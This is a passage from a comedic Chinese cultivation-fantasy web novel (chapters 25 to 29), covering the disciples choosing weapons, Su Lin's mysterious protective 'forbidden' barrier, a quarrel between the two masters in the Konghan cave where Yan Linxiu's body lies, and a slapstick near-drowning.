莫怀仁没想到用劲儿用大了,略抱歉,但看到苏林那股子没心没肺的样子,又忍不住好气又好笑地瞪她一眼:“你也知道我是你师尊啊!快去选剑!”
“那我要这把!”苏林指着朴正,认真地看着莫怀仁说。
莫怀仁眼睛都没眨,说:“不行!”
苏林无语,只好往回走,胡乱选了一把趁手的长柄双手剑,跟王小虎给他们的那把相似。
那边冷杉虎
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也选好了。
冷杉选了双刀。
苏佑此时抱着一个圆鼓鼓的东西从门外走进来,笑嘻嘻地说:“我也选好了。”
众人见他抱着的东西上还盖着一件外衣,好奇地围过来,问:“你选的什么?流星锤吗?”
苏佑嘿嘿一笑,说:“差不多吧。”
他说着把衣服掀开,露出里面的武器真容,还加了“登登登登”的配音。
大家看着这件武器,面面相觑,冷杉摸了摸,说:“这个刺儿硬,好尖,有点儿像狼牙棒,算力量武器吧?”
“好臭,臭臭的刺,刺我的鼻子。”小喇叭捂住鼻子说。
“还能吃,能把人撑死。那你这个武器很厉害啊,先打,打不赢就熏人,熏不死也打不死就撑死他。”苏林笑道。
冷杉说:“这个还能发芽。是不是进化后能从种子长成树?木系法术是不是就能用了?”
众人突然觉得这个武器超厉害,对苏佑刮目相看,想法独特又勇于创新,毫不拘泥于旧例,也不在意旁人眼光,真是太会挑了,榴莲真是个集多种法术大成的多变化武器啊!
“还能做食物储备。带着他就不怕找不到食物了。”苏佑乐呵呵地补充道。
莫怀仁在一边看他们四个对话,悄悄抓了缕头发来看有没有白头发。
他怀疑自己是不是老了,都没怀疑收的徒儿不正常。
哪个门派选修炼武器都是很郑重的大事,谁能围着一个榴莲能扯这么久?
哎,不管了,反正选榴莲的不是他,榴莲也不是他用。
莫怀仁招呼四个人,说:“武器有了,你们自己给取个喜欢的名字吧,有了名字就可以认主了。当然,这个不急,等你们适应一段时间,如果合适再认主不迟;若是武器不称手,再换就是了。”
苏林闻言眼睛一亮,终于可以弥补上一世剑名太普通的遗憾,她说:“我要取一个特别厉害的名字。这可是我的灵剑!”
她想了想,说:“破天?”
莫怀仁毛一挑,不自觉补全:“捅破天?”
苏林:“斩妖?”
莫怀仁:“降魔?”
苏林:“翻天?”
莫怀仁:“覆地?”
......
莫师尊就跟触发了被动技能一样,苏林说前半段,他就补全后半段。
苏佑终于忍不住了,问:“师尊、老大,你们是在玩成语接龙吗?”
莫怀仁看向苏林说:“志气倒不小。你说说看,你心中想修到个什么境界?”
苏林脱口而出:“我要成神。”眼神平静又坚定。
众人被她镇住。
苏林眼珠子一转,说:“我想好了,我的剑就叫‘封神’。”
莫怀仁问:“那你想化成什么神?”
苏林想了想说:“有没有最漂亮、不变老的神?”
......
莫怀仁没有再搭理她。
晚上,苏林回去研究了一下,发现这把双手剑竟然是最高品阶的灵器,跟她当年的“朴正”一个段位。
一个亲传弟子,给这么贵重的礼物。
莫怀仁到底拿她谈好了什么黑心条件,出手这么大方,可见从别人那儿得到得更多。
连亲徒弟都卖,真是没人性!
26. 第 26 章
夜里,苏林把“封神”枕在枕头下,甜甜地睡去。
梦里,她看见了一片粉色的花海,踩在柔软的花瓣上,软绵绵的,落花如雨,身边好像还有一个人,苏林看不清他的脸,两人肩并肩一直走,这条粉色的花路也没有尽头。
浪漫是浪漫,就是有点儿费腿。
走着走着,苏林被旁边人握住了手,她侧头看过去,这人的脸渐渐清晰起来,苏林正要看清来人,不料脸上挨了一拳,整个人被掀翻在路边的溪水里,水却不凉,温热熨帖。
苏林从梦中醒来,发现自己从床上滚下来了,温热的水正是小喇叭在撒尿。
她淡定地爬起来,先给小喇叭换了衣服,在打湿的褥子上点了个垫子,又给自己换身衣服,洗了把脸,再回床上。
可一时又睡不着了。
自从小喇叭会走路、说话之后,就好带了很多,至少不用每隔两三个小时就喂一次牛乳,只用半夜喂一次就行了。
但这孩子睡着后会出一身汗,得等他睡着,出完汗,再换一身衣服;半夜喂一次牛乳;下半夜要换次尿布,还是得起来四五次。而且小喇叭养成了睡觉要摸肚脐眼的习惯,死死抠着肚脐眼不让你翻身。
同他睡的人根本睡不好,第二天跟梦游似的。
这时候排班已经不好使了,小喇叭有了自己的想法,他会选择晚上跟谁睡,就跟人间皇帝翻牌子似的,谁被点中,心中暗道“不好”,偏偏为了照顾小家伙的情绪,还得强颜欢笑,装成很幸运的样子。
大概是因为苏佑肚子大,肚脐眼藏得太深,不好摸;冷杉腹肌太硬,手感不好;只有苏林,肚皮柔软、肥瘦适中,被翻牌次数最多。
苏林白天想方设法诱惑小喇叭去找其他人,但晚上被他的小肉手一抱,被一声声“妈妈,我好爱你”迷惑,又有些舍不得了,忘了夜里的辛苦,心甘情愿地伺候他。
次日早晨醒来,又重复前一天的心路历程。
她这是造了什么孽!
窗外渐渐亮起来,眼见就要天亮了,苏林的困意又来了,眼皮子千斤重,睁都睁不开。
她刚眯着,小喇叭醒来了,一个翻身爬到苏林身边,伸出小手摸肚脐眼儿,口里一遍遍喊着:“妈妈,妈妈。”
见苏林没搭理他,他毫不气馁,爬到苏林耳边,对着她的耳朵喊:“妈妈,妈妈,妈妈.....”一声比一声大,非要把人喊应才罢休。
苏林只好强撑嗯一声。
小喇叭高兴了,凑到她耳边又大喊一声:“妈妈,我好爱你啊!”
苏林吓了一跳,一骨碌坐起来,耳朵都快聋了,口里说:“我也好爱你啊!”心里却想:“我爱你个鬼!”
就这样,新的一天又开始了。
莫怀仁昨日送剑后,心情依旧很好,似乎是暴富的喜悦难以平静,一大早竟然跑来看三个徒弟。
冷杉在扫院子里的落花,苏佑在跟小喇叭洗漱,苏林抱着树瞌睡。
莫怀仁等他们仨忙完了,把人喊到一起,问:“你们来此也已一月有余,不知可有进展,我今日正好得闲,来指点你们一二。你们有什么疑惑,尽可以问。”
他先点中冷杉,说:“冷杉,你先来。”
冷杉忙把手递过去。
莫怀仁一边查探一边点头,这孩子天资上成,而且勤勉,眼看已快到练气高阶,过不了多久就能闯筑基境界了。
他对冷杉颇为,含笑道:“很好。你照此进度修炼下去,遇到阻滞,再来找我。”
莫怀仁又转向苏佑说:“你上回练气测试零分,可有何疑惑吗?把手给我。”
苏佑神情略带羞赧,乖乖递上手腕。
莫怀仁带着他的气息运行了一周,发现苏佑的修为竟然一丢丢变化都没有。
灵霄山的灵气浓郁程度,就算是根草,勤勤恳恳都能成精,他一个望气天资的弟子,竟然没有丝毫进展,这是怎么回事,是受到了什么负面影响吗?
莫怀仁心中想到这点,目光自然不自然地就朝苏林瞟了过去。
苏林一看他跟苏佑查体的表情,再看他疑惑的眼神,就明白他心中所想,顿时炸毛了,说:“看我干嘛?不关我的事,我现在已经能劈开整根头发了,我超努力的,好不好!”
众人显然不信。
苏林气急,说:“我说的是真的!真的!”
苏佑把脸转回去,淡定且殷切地问师尊:“师尊,我还有救吗?”
莫怀仁蹙眉沉思,专心在想苏佑的事情。
苏林见每人信她,气急败坏,把袖子一撸,凑到莫怀仁跟前,说:“不信,你自己看。”
莫怀仁已经被刮过一次痧,心存戒备,但看苏林一副信誓旦旦的样子,心道:莫非真长进了?
他也是好奇心太重,鬼使神差竟然又把手搭在了苏林手腕上。
苏林见状,深呼吸两次,平复气息。
莫怀仁见状,闭上眼,准备入定。
两人气息一触,突然爆发出一阵巨大的震动,就跟窜天猴爆竹被点燃一样,莫怀仁竟然被一股气息弹开了,整个人从半空中飞过,划出一道完美的弧线,落在了金鱼池里。
苏林也被创飞,像一道飞剑,水平划过,从窗户射出,落在了外面的大槐树上,撞下半树的槐花。
在现场的三个观众,苏佑、冷杉和小喇叭,都惊呆了。
“他们......他们.....这就是传说中的水火不容么?”苏佑震惊地问。
冷杉连忙放下小喇叭去扶人。
苏林头上撞出了一个鸡蛋大的包,苏佑看了看大槐树上的一个大坑,由衷地赞叹道:“老大,你的脑袋真硬!”
苏林摸着大包,竟然不怎么痛,谦虚道:“嗨,也就一般吧。”
莫怀仁水淋淋地爬起来,盯着苏林,问:“你!你身上怎么会有禁忌?”
苏林满脑袋问号,禁忌?什么禁忌?我身上怎么会有禁忌?她最近听说“禁忌”两个字还是陆绍说先贤碑。
莫怀仁不顾形象,扑到苏林跟前,问:“回答我!”
苏林是真懵逼,弱弱地问了一句:“什么是‘禁忌’?”
莫怀仁仔细盯着她的双眼,看她不似作假,整个人冷静下来,他拉起苏林,解释道:“禁忌是一种高阶的法术,相当是一种认主的屏障,就像在你身体上罩了一个罩子,只有熟悉的力量法力能接触,其余的、陌生的,全部被隔离弹开。”
“哦,就是有选择性的护盾吗?”苏林问。
“不,禁忌内附加强大的力量,不单单是护盾。”莫怀仁说,“你把你近来觉得奇怪的事,发生的事情都告诉我。”
苏林想起了先贤碑,她想了想,既然禁忌是公认的法术,也没啥不能说的吧,而且莫怀仁去问陆绍也能问出来。
于是,苏林把先贤碑那两次的事情都说了。
把四个人听得一愣一愣的
“蓝色火焰?”莫怀仁问。
苏林摊开手心,心中意念一动,掌心升起一朵蓝色的火焰。
围观的其他三个人都不自觉
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“哇”地惊叹了一声。
“那你现在是什么境界?”冷杉问。
苏林想了想说:“能把师尊弹飞出去,必然是金丹或者以上,肯定比人家强,才能把人家弹飞不是,我飞的距离可比他短。”
这话说得,倒是实话,但就是有点让人牙痒痒。
莫怀仁却毫不在意,他问苏林:“你是闫林秀什么人?她的传人吗?”
这是苏林第一次从别人口中听到“闫林秀”三个字,她心下一阵激动,但她并不是闫林秀的传人,于是摇了摇头。
莫怀仁有些失望,但仍不死心,拉起苏林往后院跑去,冷杉和苏佑你看看我,我看看你,也跟了上去。
他们一路飞奔,又来到十里坡尽头的结界处。
眼见又要撞上去,苏林忙喊:“停下,撞着疼!”但莫怀仁不撒手,他手中捻出一个诀,展臂划出半个圈,那山壁上出现了一个黑洞,一把把苏林拽进了进去。
身后的黑洞法阵并没有合拢,苏佑冷杉接连跳入,小喇叭竟也爬了进来,都不晓得他是怎么跟上的。
这个山洞只有一室大小,他们五个进来,显得更小了,黑漆漆的,只能听到众人的呼吸声。
苏林头顶响起莫怀仁的声音,他说:“点燃你的蓝火。”
苏林唤起那朵火焰。
周围亮起来,他们才看清这里就是一个很简单的空间,像个卵的内部,什么装饰都没有。
苏林估摸这应该是某个场景中的一部分,莫怀仁的法阵只打开了其中的一部分。
能在瞬间打开这么一个容纳五个人的空间法阵,莫怀仁还是有点厉害的。
莫怀仁紧紧盯着苏林,问:“你有什么感觉吗?”
苏林平复了呼吸,感受了下,说:“没啥感觉。”
莫怀仁不死心,说:“你认真、用心地去感受。”
苏林闭上眼认真感受了下,除了听到空气中有人几不可闻地放了个屁外,其他什么感受也没有。
不对!
强烈地感受!
五感中的嗅觉感受到剧烈变化。
这屁也太臭了!
还是酸菜榴莲味儿的!
她快吐了。
yue。。。。。
苏林实在憋不住了,转眼已经回到湖边。
原来不止她一个人受不了,其他人也受不住。
五个人头各朝一边,或蹲或扶着树,奋力呼吸新鲜空气。
莫怀仁最先平复,他没有再看苏林,因为从苏林进入洞中,他就一直没有察觉到任何异像。
没有就是没有。
或许这一切只是巧合?
他再回头看向苏林,目光中已多了一丝探究、一丝疑惑和一丝温柔。
温柔......
苏林确定莫怀仁很不对劲,他保存着闫林秀的剑,又突然对他们这么好,无事献殷勤非奸即盗。
但苏林不知道莫怀仁图什么,能送高阶灵剑,又提供这么充足的情绪价值,可见所图不小。
不行,不管他图谋什么,都不能让他白白算计占便宜,她得占回来。
此时,苏林敏锐地察觉到,当下就是莫怀仁对自己态度变化的转折点,思维最混乱,意志最薄弱,而且刚刚才遭受一轮感官暴击,她自己的头现在都是晕乎乎的,这时候提要求最容易同意,于是她见机问:“师尊,能把空间法阵教我吗?”
莫怀仁眼睛都没眨,说:“不能!”
苏林翻了个白眼:看来还不够薄弱。
27. 第 27 章
苏林还想再问几个“能不能”,眼前景象一阵波动,所处场景瞬间变换,周围光线骤然消失。
从亮处到暗处,眼睛短暂失明;但熟悉地酸屁味儿让他们意识到什么,等他们适应了一会儿,果然又回到了方才法阵抵达的空间内。
苏林四人转头看向自家师尊。
他们不明白怎么又把他们拉回来了,还这么毫无征兆。
莫怀仁没有回应他们,兀自站直了身体,开始整理头发和衣服,那样子,似有些紧张,要跟谁比美似的。
他低头见身上湿哒哒的,衣服黏在身上,一点儿也不飘逸,蹙了蹙眉。把广袖一甩,捻诀施法。甩出一袖子水全扑到苏林脸上。
苏林被偷袭,心里却告诫自己要忍,她啵人家一下,人家扑她一下,算是礼尚往来,互不亏欠了。
她擦干脸上的水,抬眼看见莫怀仁脚下燃起一点火光,微弱的火圈从脚下上升,到腰间合二为一,直到头顶。经过这么一燎,衣服头发被烤干了不说,还跟被熨斗熨过一样,又恢复了器宇轩昂的师尊范儿。
莫师尊的时间掐得刚刚好,仪容仪表整理完,周围狭小的黑色空间突然变大,显现出凹凸不平的岩壁,空气也变得潮湿阴冷。
法阵打开的空间消失了,他们五个人留在了现实中的山洞里。
逼人的恶臭因为空间阔大,冲淡了很多。
短暂的沁凉感过去,洞内气温迅速下降。
小喇叭抱着冷杉的裤腿拼命往上爬,冷杉将他抱起,小喇叭把头埋进他怀里,说:“怕怕,我害怕。”
苏林也冷得抱住双臂。
她察觉这洞中空间虽然变大了,但压迫感更甚,似乎这山洞有了情绪,压抑着强烈地愤怒和巨大的力量,朝他们压迫过来,而且此时洞中无光,像身处怪兽的肚中。
不多时,山洞的一边洞口处,出现了一点微弱的亮光,众人望过去,光越来越亮,是有人举着火把走过来。
火把下是一团漆黑,看不清人的样貌,等他走近了,众人才认出,来的人不是陆绍,还能是谁?
陆绍单手擎着火把,走到离他们十步远,立住脚,冷冷地看着众人。
陆师尊从来都是温柔含笑的,他们何时见过这样的陆师尊?
就连苏林都他被气势所摄。
陆绍问:“你来干什么?”
莫怀仁道:“没看见吗?我在教徒儿如何突破结界。”
陆绍冷笑一声,说:“你也太不把我放在眼里了,你还真当空寒洞里来去自由?”
四个弟子被陆绍的气场所摄,同时也惊讶陆师尊竟然能把自家师尊从法阵里拉回来,法阵对结界,不知谁更胜一筹。
他们都不敢吱声,齐刷刷转头看向自家师尊,把气场对决留给莫怀仁,同时也好奇“空寒洞”是什么地方。
没想到一贯强悍的莫师尊听到陆绍的质问,竟没支棱起来,他避开对方锋芒,淡淡地说:“我来验证一件事。”
周围四个人看到平时温文儒雅的陆师尊竟又急又冲;而一贯高冷的莫师尊却淡然不怒,不知其中内情,根本不敢发出一丁点声音,连呼吸都悄悄的,只拿目光紧紧跟随说话的人,齐刷刷左右摆头,并在心里疯狂脑补。
陆绍闻言扫视众人,视线落在苏林头上。
莫怀仁看清陆绍目光所在,坐实了苏林所言,心知陆绍刻意隐瞒了许多,冷笑了一声,声音挺大,嘲讽很足。
陆绍权当没听见,问苏林:“你头上怎么了?跟个独角犀牛一样。”
被点名的“独角犀牛”略感无语,你俩对决,突然拉上她干嘛?
还“独角犀牛”,以前怎么不记得陆绍修辞手法用得这么娴熟,苏林默默捂住脑门上的包,说:“不小心撞的。”
陆绍又问:“你体内的禁忌,是怎么触发的?”他对苏林的口吻柔和很多。
苏林老实说:“我们上回练气考核没考好,师尊帮我们走气,就突然弹开了。”
“考核?”陆绍问,“你不是只有三个弟子吗?少于五人可以申请免考核,你不知道吗?”后半句问的是莫怀仁。
陆绍这转场转得十分风骚。
莫怀仁被问得一愣,他还真不知道这事,他又没带过徒弟,这是头一遭收徒。
他的徒儿们也是头一遭拜师,听闻还有这种好事,纷纷转头看向自家师尊。
莫怀仁神色一滞,马上反应过来:陆绍真是太奸诈了,假装转移话题问伤情,其实是给他挖坑呢,陆绍跟长门熟得很,王小虎又在他门下,他怎么会不知道十里坡几个弟子考核没考核。这时候问这个,不是离间他们师徒感情,折损他在徒儿心中的地位么,太可耻!
莫怀仁不作回答,主动出击,沉声问道:“她体内有禁忌,你知道吗?”
陆绍毫不示弱,冷声反问:“你进空寒洞,提前问过我了吗?”
这下苏林听明白了,陆绍没把她触动先贤碑禁忌的事情告诉莫怀仁;莫怀仁没提前告诉陆绍要来这个空寒洞,两个人各有隐瞒,各有各的理亏,又各有各的强硬,谁也不服谁。
两人僵持不下。
陆绍摸了下鼻子,再次发难:“所以,空寒洞里臭屁是你留下的?!”
这个把柄被抓得让人始料不及。
本来众人都已经渐渐习惯这股子臭味儿了,被陆绍这么一点,感觉又受不了了。
莫怀仁捂住鼻子,急道:“你行不行,这是重点吗?”
“怎么不是重点?洞里没窗户,空气不流通,能不能留点儿好东西?!”陆绍说。
莫怀仁的毛了,反问道:“那你说,要怎么办?我把四个徒儿都拉进来帮忙吸,还不够吗?”
“那是你拉进来的吗?分明是我把你们拉进来了的吧。”陆绍说,“再说就你们在吸,我没吸吗?”
苏林等人满头黑线,合着他们被拉进来的功能是这个。
眼见两人渐渐跑题,且越吵越凶。
苏佑赶紧举手坦白:“师尊,是我!那个屁是我放的。”
他这句话瞬间平息了争端。
陆绍单纯只针对莫怀仁,并不想抓着小辈开战。
两位师尊借机冷静下来。
陆绍问:“你验证出什么没有?”
莫怀仁给了他一颗白眼,扭头不语。
陆绍也还给他一颗白眼,转身将火把一
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推,那火把在空中触碰到什么,一下就灭了,火光熄灭的地方,出现了一个金线的交叉十字,金色沿着“十字”四个方向延伸,结出更多交叉不断往周边延伸,不多时,便出现了一张完整的金丝大网。
火把虽灭了,但金丝网的亮度足够照亮周围。
众人透过金丝网往里看,看见石壁上凿出一张石床,上面躺着一个人。
苏林垫起脚尖伸长脖子往里瞧,那人穿着一身青色的衣服,款式有些眼熟,像是灵霄山金丹修士的大礼服,黑色长发披散着,腰间系着一条紫色缠着金丝的腰带,全身上下再没有其他穿戴。
苏林个子不高,看不清那人的脸,只辨认出这人身形娇小,应该是个年轻的女子。
她正看得起劲,察觉有左右两道视线朝自己盯过来。
苏林往左看,是莫怀仁;往右看,是陆绍。
她被两个人盯得心里发毛,默默抱住双臂,缩着脖子问:“师尊,你们看什么?”
她这样的神情和莫、陆记忆中的故人之资相去甚远,两人对视一眼,都从对方眼中看到了同样的疑惑。
“你的小蓝火呢?”莫怀仁说。
苏林哦了一声,忙张开手掌,低低念了一声“破”。
天煞的,关键时刻,小蓝火总是掉链子。
苏林手掌上啥也没有,一连试了几次,什么都没有召唤出来。
莫怀仁急了,伸手抓起她的胳膊。
陆绍也抓住她的手腕,试她的气息。
苏林体内就跟个空空的葫芦一样,莫怀仁和陆绍两股气息畅通无阻,最后在丹田相碰。
两人就跟碰到了什么脏东西一样,互“啧”一声,赶紧撒手。
苏林暗暗翻了个白眼,她印象里,这俩人相处挺好的,啥时候闹别扭闹成这样了?
众人再转头去看那石床上的人,毫无反应,那张金丝网也没有任何变化。
莫怀仁、陆绍不由得又互看了一眼,旋即又互“哼”了一声,转身离去。
留下洞中四个人。
冷杉抱着小喇叭,不知该追着自家师尊从法阵走,还是该跟陆师尊走大门,左右为难地喊:“师尊,我们,我们......”
莫怀仁背对着他们,祭出一个法阵。
陆绍也背对着他们,甩袖将他们扫进法阵。
那配合一气呵成、相当熟练,转眼的功夫,苏林、冷杉和小喇叭再次回到了十里坡碧波湖边,跟莫怀仁同时落地。
身后的法阵瞬间消失。
“冬瓜呢?”苏林回头找了找,没见苏佑。
冷杉和小喇叭也原地转圈,四处张望,口中喊着:“苏佑~”“耙耙~”
周围风呼呼地吹,没见苏佑的身影。
苏林忙喊住莫怀仁:“师尊,苏佑不见了。”
莫怀仁头也不回地说:“出法阵的时候他被绊倒了,还在空寒洞里。”
“那怎么办?”苏林问,“回去接他吗?”
莫怀仁说:“有你陆师尊在,没事,会把他带出去的。”
苏林撇撇嘴:呵,这时候又这么信任人家“陆师尊”了,刚才跟对乌眼鸡似的,干嘛呢?
28. 第 28 章
被落下的苏佑趴在地上,眼睁睁看着同伴在法阵中消失,他慌了,只来得及“诶诶”了两声,法阵的蓝光就不见了。
眼见自家师尊靠不上,他忙转头伸手去抓陆师尊。
不料陆师尊走得更快,苏佑只来得及看到陆师尊在转角处的影子,周围就暗下来。
他挣扎着爬起来,仓惶喊道:“师尊,陆师尊,我还在这儿,等等我,我还在这儿,等我~~~”
“等我...”
“等我...”
苏佑凄凉的回声在洞中回荡,没人回应他。
他不熟悉地形,脚下钟乳石凹凸起伏,洞内又黑,苏佑几乎是连滚带爬才追到水边。
陆绍正坐在一条小船上,一脸关爱智障地眼神瞅着他。
苏佑才不管陆师尊是什么眼神,此刻见到有人在等他,感动得涕泪横流,一边往船上爬,一边哭诉:“他们都不等我,也不回来接我,那么黑,还躺了个人,吓死我了......”
陆绍无语,笑道:“这么大个人,还怕黑,说出去让人笑话。这洞里就一条路,顺着走就是了,鬼叫些什么?”
苏佑被说了,忍住哭腔,翻身上船。
他低估了自己的体重,人一上去,船身下沉,船舷将将与水面平齐,稍微一动,就有水溢进来,船一进水,吃水更深,又进水,再下沉,形成了一个恶性循环。
眼看小船不住往下沉,一贯好脾气的陆绍都无语了,对苏佑说:“还傻看什么,快往外浇水啊,不然咱俩就得游出去了。”
苏佑反应过来,没找见工具,只好双手捧水往外舀,勉强把小船内的水保持在淹小腿肚的深度,缓缓前行。
等行到狭窄处,陆绍看着满船水和一脸无辜、浑身湿透的苏佑,无奈地叹了口气。
今日一战,到底还是莫怀仁险胜一招,谁能想到他能留下个白胖子给他压船?
起先还以为是莫怀仁逃跑跑得丢盔弃甲、忘了徒弟,原来战斗还未结束。
陆绍认命地伏在满船水上,苏佑见状也赶紧趴倒。
按照以往的行程,陆绍最后撑一篙的力量能让小船驶出这个狭窄的甬道,但今日不仅加了苏佑还加了半船水,船行到一半就不动了,更要命的是,没有苏佑往外舀水,先前的恶性循环又开始了。
他俩趴在船上,就觉得洞顶越来越高,水面越来越近,终于,两个人完全沉进了水里。
咕嘟咕嘟咕嘟.......是陆绍。
顿顿顿顿顿顿.......是苏佑。
陆绍只得弃船游水出来,等了会儿,没看见苏佑出来,回头去找,发现这货不会游水,一边喝水一边沉底。
别说他还挺能喝,肚子滚圆,跟个刺豚一样膨胀成球。
陆绍还能怎么办?
放任同门的师侄淹死在眼前?
他只能回去捞人。
苏佑的体重岂是一般人能及的,陆绍拖拽了半天,苏佑跟个石头一样沉在水底没挪窝。
陆绍牙都咬碎了,无奈只能祭出避水大法。
本来很悠闲的一天,很稀松平常的一次出门,怎么就闹得这么大了,还得上避水大法,这法术精力消耗可不少。
如果让人知道他到自家小池塘用这种等级的法术,一准会被人笑话半年。
法力所及之处,湖水自动避开,在湖底劈开一条路。
陆绍扛着水饱昏迷的苏佑,一步一步往岸上走,只希望这次王芸迩没派人来跟着他,没有人看见这一幕。
陆绍从上船等人到湿身、再到捞人、施法、驮人,没有一步是自愿的,但不知不觉全都做了,一步一步把他从一个风流倜傥、法力高深的名门师尊,变成一个浑身湿透、狼狈地拖拽着肉山的苦逼师叔。
上岸的苏佑被水淹得太久,这么折腾都没醒。
陆绍湿哒哒地靠在他身边,拍着他的脸喊:“喂,醒醒,醒来......”
除了肉山颤动,毫无反应。
不是吧,不会还要渡气吧?
陆绍深吸一口气,感觉自己要炸,他现在已经能肯定,什么不小心绊倒,这货就是莫怀仁故意留下来的报仇的,只是这种报仇方式太让人意外了,让人防不胜防。
谁能想到一只大冬瓜能有这么大的破坏力。
陆绍思想斗争很激烈,叹了口气,身体往前凑了一凑,噘嘴幻想了一下,最终,没敢下口。
他摸准苏佑的心脏所在,照着胸口锤了一拳,苏佑喷出一口水来,胸口便有了微弱的起伏,陆绍把人翻过来,用一块大石头顶着胃控水。
收拾完苏佑,陆绍这才整理自己,法术已经收回,水面自然合拢,平静如镜,他把脸探过去,水面上照出一个头发乱糟糟、紧贴在头皮上的脑袋,全然没有了平日里的风流潇洒。
陆绍又不是莫怀仁,修行的火系法术,没法把自己弄平整;也没法施展法阵瞬间传送,只能顶着这一身狼狈回自己住处,就是御剑飞,也够丢人的,他越想越觉得今日输得彻底。
苏佑缓了一会儿,睁开眼,入眼的是刺眼的阳光,身下刺刺的触感,还传来一股诱人的焦香味儿。
他扭头看见身边一棵硕大的喇叭花,爬起来,四处望了望,发现这里是十里坡,小喇叭诞生的地方
周围一个人也没有,苏佑略有些遗憾,他还记得自己昏迷之前的景象,在水下快憋死的时候,陆师尊像一道光,照亮了他,把他扛在背上。
陆师尊的背真是宽阔又健壮。
可惜,他还没给陆师尊道谢,人就走了。
他想:我以后一定要对陆师尊好。
陆师尊好不好暂且不说,反正苏林现在很不好。
她被莫怀仁盯得发毛。
她看着眼前的绿丸子,感动了一下,从“狗蛋”到“筑基丹”,自己在莫怀仁心里的地位明显提升,但她还是拒绝了,说:“师尊,我吃这个没用,我没到练气后期,丹田里气都没有,吃了浪费。”
莫怀仁说:“百般方法都尝试一下,反正不过是一颗筑基丹。”
苏林听到这话又想起那颗“狗蛋”了,“不过”二字刺痛了她,无情地接过丹药,吞了。
莫怀仁目不转睛地瞅着她,一炷香的功夫,愣是丝毫变化都没瞅出来,就连六味补气丸微弱的强身效果都没有。
莫怀仁蹙眉,喃喃道:“奇怪,怎么一点儿变化也没有?是筑基丹太低端了吗?”
苏林
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坦然道:“师尊,有没有一种可能,我其实就是个凡人。”
莫怀仁说:“凡人怎么可能通过大选进入灵霄山?”
苏林说:“因为我是一个特别会做题的凡人。”
莫怀仁眼神不善地瞥了她一眼。
苏林说:“当然,我运气也很好。茅湾初选的时候,我就是靠理论成绩进了前四,代表茅湾派参加内选大会;后来认识了王小虎、冷杉,他俩领着我们进了决赛。我能进灵霄山纯属意外,我真就是个凡人。”
莫怀仁说:“但你身上有禁忌,你还能祭出小蓝火。你身体里没有被封印的迹象,先前经脉阻塞,但被冲开后又太通畅了,跟个空壳一样,奇怪。”
苏林看他猜的这么费劲,都有把真相告诉他的冲动了,但心底最深处让自己不要把秘密告诉任何人。
莫怀仁琢磨了一会儿,问苏林:“你能用心念控制小蓝火吗?”
苏林点头,毕竟她能偶尔召唤出小蓝火。
但偶尔也召唤出来,她只得又摇头。
“我教你一个火系口诀,你试试看。”莫怀仁给她选了个最简单的让火变大小的口诀。
苏林试了试,小蓝火无动于衷。
又试了几个简单的法术,均无效。
莫怀仁嘀嘀咕咕兀自琢磨:“这么说,真是个凡人,只是躯壳上有什么特别的,唤醒了禁忌,禁忌也只是附着在躯壳上,少量的,只能被召唤出一个表象,没法驾驭,除了被动防御外,只能当个火折子。”
苏林知道这么严肃认真的场合不应该笑,但这个“火折子”还是把她逗乐了,她低头看着温柔的小火苗,想到十里坡那场大火,“火折子”这名号算是名副其实。
自从空寒洞回来,莫怀仁一直在研究苏林,从生辰八字,到家族血脉,从身高体重,到兴趣爱好,问了一个遍。
苏林也好奇地问:“师尊,空寒洞里那个人是谁啊?”
莫怀仁埋头琢磨的同时,回了一句:“一个前辈。”
苏林心说这不明摆的吗?她又问:“她怎么躺在那儿,她怎么了?”
莫怀仁说:“元婴化神的时候雷劫劈散了三魂。”
苏林觉得跟莫怀仁交流真费劲,问一句答一句,看看人家陆绍,不问就能说到人心坎儿上,难怪单身这么多年。
她只得再问:“那前辈看着好年轻,就元婴化神,好厉害啊,先贤碑上有她的名字吗?”
莫怀仁闻言,似乎眉头微展,旋即黯然道:“没有。”
苏林一想也是,没扛过雷劫不算为灵霄山牺牲,自然上不得先贤碑,那闫林秀为什么也没上呢?
她问:“师尊,那您开始问我的‘闫林秀’是谁啊?”
莫怀仁不大耐烦起来,说:“就是她。”
“她?谁?”苏林一下没反应过来,问:“空寒洞里的是闫林秀?”
这下轮到苏林震惊了,闫林秀不是死在毒龙涧了吗?怎么还元婴化神遭雷劫?
是她的记忆错了,还是这个世界错乱了?
“她不是......”苏林张口,话到嘴边咽了回去改口问:“她还能活过来吗?”
莫怀仁说:“三魂归体,便能复活。”
29. 第 29 章
“人死了,三魂不会消散,还留在人间吗?”苏林怀揣着这个疑问,跑去问了苏佑。
苏佑跟冷杉正给小喇叭洗澡,手上不停,回答道:“只要肉身在,就能让它不消散。”
苏林问:“怎么不消散?”
苏佑说:“三魂离体之后,要么用灵气收拢、要么法阵收拢,还可以夺舍。不过寻常夺舍就很难,更何况残魂,残魂夺舍古书上倒是见过记载,但现实中没听人说过。”
苏林讷讷地想:“莫非,我是闫林秀三魂中的一魂,夺舍了苏林的魂魄,所以记忆残缺?残魂夺舍,我这么牛BEE的么?”
“你问这个做什么?”冷杉问。
苏林道:“就是那天去了空寒洞,好奇那肉身留在那儿,能招魂复活吗?”
苏佑问:“理论上可以,但得先知道她的三魂在哪儿。”
“魂靠近肉身,肉身就会有反应?”苏林问。
苏佑抱起小喇叭,说:“我包袱里那本红色封皮、最厚的那本书,你拿去自己看,里面什么都有。”
苏林打开苏佑的包袱,才发现这么爱吃的一个人,包袱里竟然背了这么多书,真是人不可貌相。
小喇叭光溜溜地爬过来,说:“我也要看,让我看,让我看......”
三个人都没把他摁住,小家伙一头扎进了书堆里,手速堪比闪电,一下就抓住了苏林要找的红本本,扔进了澡盆里。
“啊呀!”苏佑以跟他体型不相配的敏捷,一把把书捞起,狠狠拍了小喇叭的屁股两下,小喇叭哇哇大哭起来。
苏林忙接过书,擦干水渍,带回房研究了。
封面上的名字被擦坏了,只剩下最后一个“术”字,她随手一翻,正好看见一张符箓,还有口诀,很厉害的样子。
她心下“哟呵”一声:苏佑家果然有传承,收录符箓的书可不容易找。
她兴致勃勃地翻开目录。
第一章:三魂的定义(狭义和广义)
第二章:发现三魂的历史过程
第三章:三魂发现的历史意义
第四章:关于三魂的历史传说
......
这熟悉的味道、这熟悉的配方......
苏林把书翻到最后,果然,落款是“灵霄山出品”。
苏林从头看到尾,就知道了什么是三魂,即生魂、觉魂和灵魂,其他全是神话传说,连三魂分别主管什么,书里面都没整明白,神乎其神一堆废话,整整三页的三魂定义,绕来绕去不知道是写书的人自己不懂,还是生怕看书的人能看懂。
苏林回想起苏佑那句“里面什么都有”,不禁感慨语言艺术博大精深。
